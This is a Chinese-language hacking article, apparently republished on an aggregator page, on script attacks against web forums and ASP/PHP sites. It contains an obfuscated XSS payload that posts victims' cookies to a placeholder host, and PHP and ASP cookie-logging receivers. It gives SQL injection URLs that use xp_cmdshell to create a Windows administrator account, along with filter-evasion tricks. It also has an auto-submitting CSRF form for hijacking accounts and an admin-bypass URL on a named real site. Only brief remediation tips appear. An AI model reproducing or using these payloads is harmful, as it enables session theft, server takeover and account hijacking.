指令碼安全和利用

來源:互聯網
上載者:User

簡介:這是指令碼安全和利用的詳細頁面,介紹了和php,有關的知識、技巧、經驗,和一些php源碼等。

class='pingjiaF' frameborder='0' src='http://biancheng.dnbcw.info/pingjia.php?id=323417' scrolling='no'>

最近指令碼攻擊好象是很流行的,不過早在很久前就有這個了!指令碼攻擊嚴格的說應該是一件藝術而不是漏洞!首先我們先要知道什麼是指令碼,指令碼就是運行在網頁伺服器上的文本程式,例如:ASP、PHP、CGI、JSP、ISAP等等,指令碼的攻擊就是利用這些檔案的設定和編寫時的錯誤或者疏忽不當,攻擊者就可以利用這些來達到自己攻擊目的,如果一個伺服器存在這些漏洞,那麼它的淪陷也是時間的問題!
這些文字檔一般都是要結合資料庫來使用的,這些資料庫有ACCESS、MSSQL、MYSQL、Oracle等!指令碼攻擊就是針對這些資料庫來配合指令碼對一些變數的過濾不嚴的問題來達到得到使用者密碼等敏感資訊,修改資料庫等目的!下面我就針對這些來分別舉例說明!
一、跨站指令碼的攻擊
指令碼的跨站(CSS/XSS)就是利用程式對使用者提交的變數不嚴,大多數是利用多媒體標籤,前段時間比較流行的flash跨站就是利用的這個,比如我在[FLASH=450,350][/FLASH]之間插入一個我自己作好的一個swf檔案,swf檔案裡我們用geturl裡加上javascript:window.open('_blank>http://qfaq.yeah.net')就可以讓他開啟清風安全網的網站,如果這裡是一個木馬網頁,呵呵,,,你就等著中木馬吧!還有就是竊取使用者的cookie,例如我們利用[IMG][/IMG]也就是圖片的跨站,在這個裡面插入
<script language=javascript>window.open('_blank>http://xxx/xxx.asp?msg=&#39;+documents.cookie)</script>這段地址即可得到!如果將javascript過濾掉後怎麼辦?
好,我們在看看下面這段代碼:
[upload=swf]uploadImages/200310812145390577.swf?"><sCript>aa="var"+unescape("%20")+"dat;dat=escape(document.cookie);var"+unescape("%20")+"http=new"+unescape("%20")+"ActiveXObject('Microsoft.XMLHTTP');ht"+"tp.open"+unescape("%20")+"('POST','ht'+'tp://xxx/bbs/usersms.asp?action=send&touser=czy&title=flashcookie&submit=發送&message='+dat,false);http.send();";eval(aa)</sCript>[/upload]
怎麼樣,還是能將你的資訊得到的,而且還不會彈出對話方塊!
另外在joekoe論壇程式裡還有一個這樣的問題,比如你發個文章裡有[DIR][/DIR]就會彈出一個播放器的安裝程式,呵呵,如果是一個黑心的站長利用這個來放馬,那後果就不用說了吧!
解決辦法:現在還沒有好的方法解決這個問題,你要做的就是將多媒體的標籤刪掉!
另附ASP和PHP的跨站代碼
php如下
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("test.txt","a");
fwrite($fp,$info."n");
fclose($fp);
}
?>

<script language=vbscript>
document.location="_blank>http://";
</script>

asp如下
<%
testfile=Server.MapPath("cookies.txt")
msg=Request("msg")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
二、sql injection
是現在最熱門的,也是本文要重點說的!
1、ASP+ACCESS資料庫類型的SQL注射
現在的大多數網站是採用的這個組合,但是如果在ASP程式中沒有對使用者提交的變數充分過濾的話就可能導致管理員密碼被猜到,整個網站的資訊就會暴漏無移~!
在大多數ASP網站中,我們並不知道其程式碼,靠任何掃描器也不可能發現SQL injection漏洞,這時就要靠手工檢測了,由於我們執行SQL語句要用到單引號、分號、逗號、冒號和“--”,所以我們就在可修改的URL後加上以上符號,或在表單中的文字框加上這些符號!比如比較經典的金梅系統漏洞,在movie.aps中有怎麼一段代碼:
articleid=request("id")
set rs=server.createobject("adodb.recordset")
sql="update learning set hits=hits+1 where articleID="&articleid
rs.open sql,conn,1,3
sql="select * from learning where articleid="&articleid
rs.open sql,conn,1,1

articleid未經任何檢查便提交了,所以我們就可以自己構造一些SQL語句來提交上去!具體的利用過程請看拙作《SQL注入完整篇》和《SQL注入的補充》的動畫教程,這裡我就不在重複的說了!
2、ASP+MYSQL資料庫類型的利用
MYSQL資料庫簡單使用和強大的功能一直以來都是網管們的最愛!但是如果是ASP中沒有對變數過濾的話,我們就可以來直接的到他的系統管理員許可權!
比如動網論壇、BBSXP論壇的SQL版有好幾個檔案都沒有對ID過濾,所以我們只要找到他的存在問題的頁面就可以了,
看這段代碼:rs.open "select * from news where newsid=" & cstr(request("newsid")),conn,1,1
比如我們提交:
_blank>http://XXX/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user xuehan ilovexuehan /add';--
_blank>http://XXX/show.asp?id=1;exec master.dbo.xp_cmdshell 'net localgroup administrators xuehan /add';--
看到了嗎?我們已經在系統中田加了一個xuehan 密碼是ilovexuehan的管理員帳號,以下的事情你就自己來做吧,呵呵,,,不用我來教了吧!!!
如果過濾了分號和單引號怎麼辦?呵呵,我們只要將我們的命令形式轉換一下,比如我們轉換成十六進位或者別的形式就可以繼續注入了,還有就是他如果過濾了xp_cmdshell 我們也可以解決,我們可以寫成xp'+'_cmd'+'shell形式,如果他將xp_cmd殼層延伸刪掉,我們可以通過xplog70.dll檔案來恢複,呵呵,,,具體自己尋找下資料庫的知識,當然我們也可以用別的擴充!所以說SQL injection不僅僅是一門技術,更要有靈活的頭腦和紮實的資料庫知識,特別是對SQL語言的掌握程度,如果不會SQL語言,你永遠都是生搬硬套,遇到障礙就過不去了!
3、PHP+MYSQL資料庫類型
PHP+MYSQL一直以來都認為是最安全的組合,不過一些檔案沒有過濾單引號、反斜線等,我們也可以來進行注入,不過在最新的php安裝程式裡的php.ini檔案預設都是對這些過濾掉的,所以很大情況下我們是無法對進行注入的,不過也有許多牛人們可以饒過這個限制的!由於我的PHP和MYSQL不是太懂,所以就不能來具體舉例來說明了,大家要是有興趣可以去找寫資料來看!!!
需要從根本上解決解決SQL Injection問題。還得從程式本身入手。過濾不能單純的過濾URL所提交的參數,在表單裡的也要過濾,value=後面的可以修改的資料,修改後可以提交到伺服器,總之對所有的表單提交的資料以及使用者可能對HTML源檔案進行修改來控制的所有來自Web伺服器外部的資料進行過濾或轉換,對單引號、雙引號、分號“--”還有對數字鍵上面的所有特殊字元進行過濾,還有QUERY_STRING環境變數。在伺服器上刪除一些危險的擴充預存程序,比如xp_cmdshell。有條件裝個IDS更好,不敢說無堅不摧,但至少可以阻擋大部分攻擊者。
三、一些別的指令碼攻擊
有些程式沒有對cookie或者session進行過濾和檢查,就造成了使用者可以非法修改提交頁面,自己提交修改資料,比如像海陽頂端網木馬的以前版本對session沒有過濾,我們就可以饒過密碼的驗證來到達真正的頁面,還有就是post提交的問題,像leadbbs的2.77版本就是沒有充分的過濾,我們就可以把管理員的密碼修改成自己的密碼!
還有一個指令碼的攻擊例子,在Discuz! 2.0 論壇裡,因為個人屬性缺乏必要的安全確認,所以很容易誘使其他會員自動修改其個人屬性內容,特別是註冊郵件資訊,這關係著登陸密碼的修改。
比如我們發個文章,寫上
<html>
<head>
<script language="JavaScript">
function postemail()
{
document.reg.submit();
}

</script>
</head>
<body onload="postemail()">
<form method="post" action="_blank>http://xxx/memcp.php?action=profile"; name="reg">
<input type="text" name="emailnew" size="25" value="crack.x.h@163.com">
<input type="test" name="editsubmit" value="編輯設定檔">
</form>
</body>
</html>
誘使會員點擊這個頁面後,就會自動修改該會員註冊的email地址為crack.x.h2163.com。當然為了隱蔽性,可以更新後自動關閉,然後調用另外一個假地址。
當然我們也可以利用這個漏洞進行欺騙、隱藏來誘惑管理員來修改我們為管理員等等!大家自己去學習吧!
看了這麼多枯燥的東西下面我們再來看看另外一個好玩的漏洞,在百渡裡搜尋”傳奇留言薄“找幾個免費的留言本進去,找到他的登陸頁面,我找到的一個是:
_blank>http://www.conanshome.com/guestbook/login.asp
我們再來看看下面這個串連:
_blank>http://www.conanshome.com/guestbook/admin.asp?adminid=admin
哈,怎麼我們就闖入後台了!!!
什麼原因,自己去琢磨吧!
後記:指令碼的攻擊可以說是防不勝防的,我們所要做的只能是提高編寫程式的嚴謹態度,人為的因素在指令碼攻擊中是最重要的!
聲明:本文提到的漏洞都有一定的攻擊性,我們的目的是探討技術,搞破壞的是小人!所造成的一切後果於作者無關!由於作者水平有限,文中難免有錯誤之處,歡迎指出!

“指令碼安全和利用”的更多相關文章 》

愛J2EE關注Java邁克爾傑克遜視頻站JSON線上工具

http://biancheng.dnbcw.info/php/323417.html pageNo:16

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.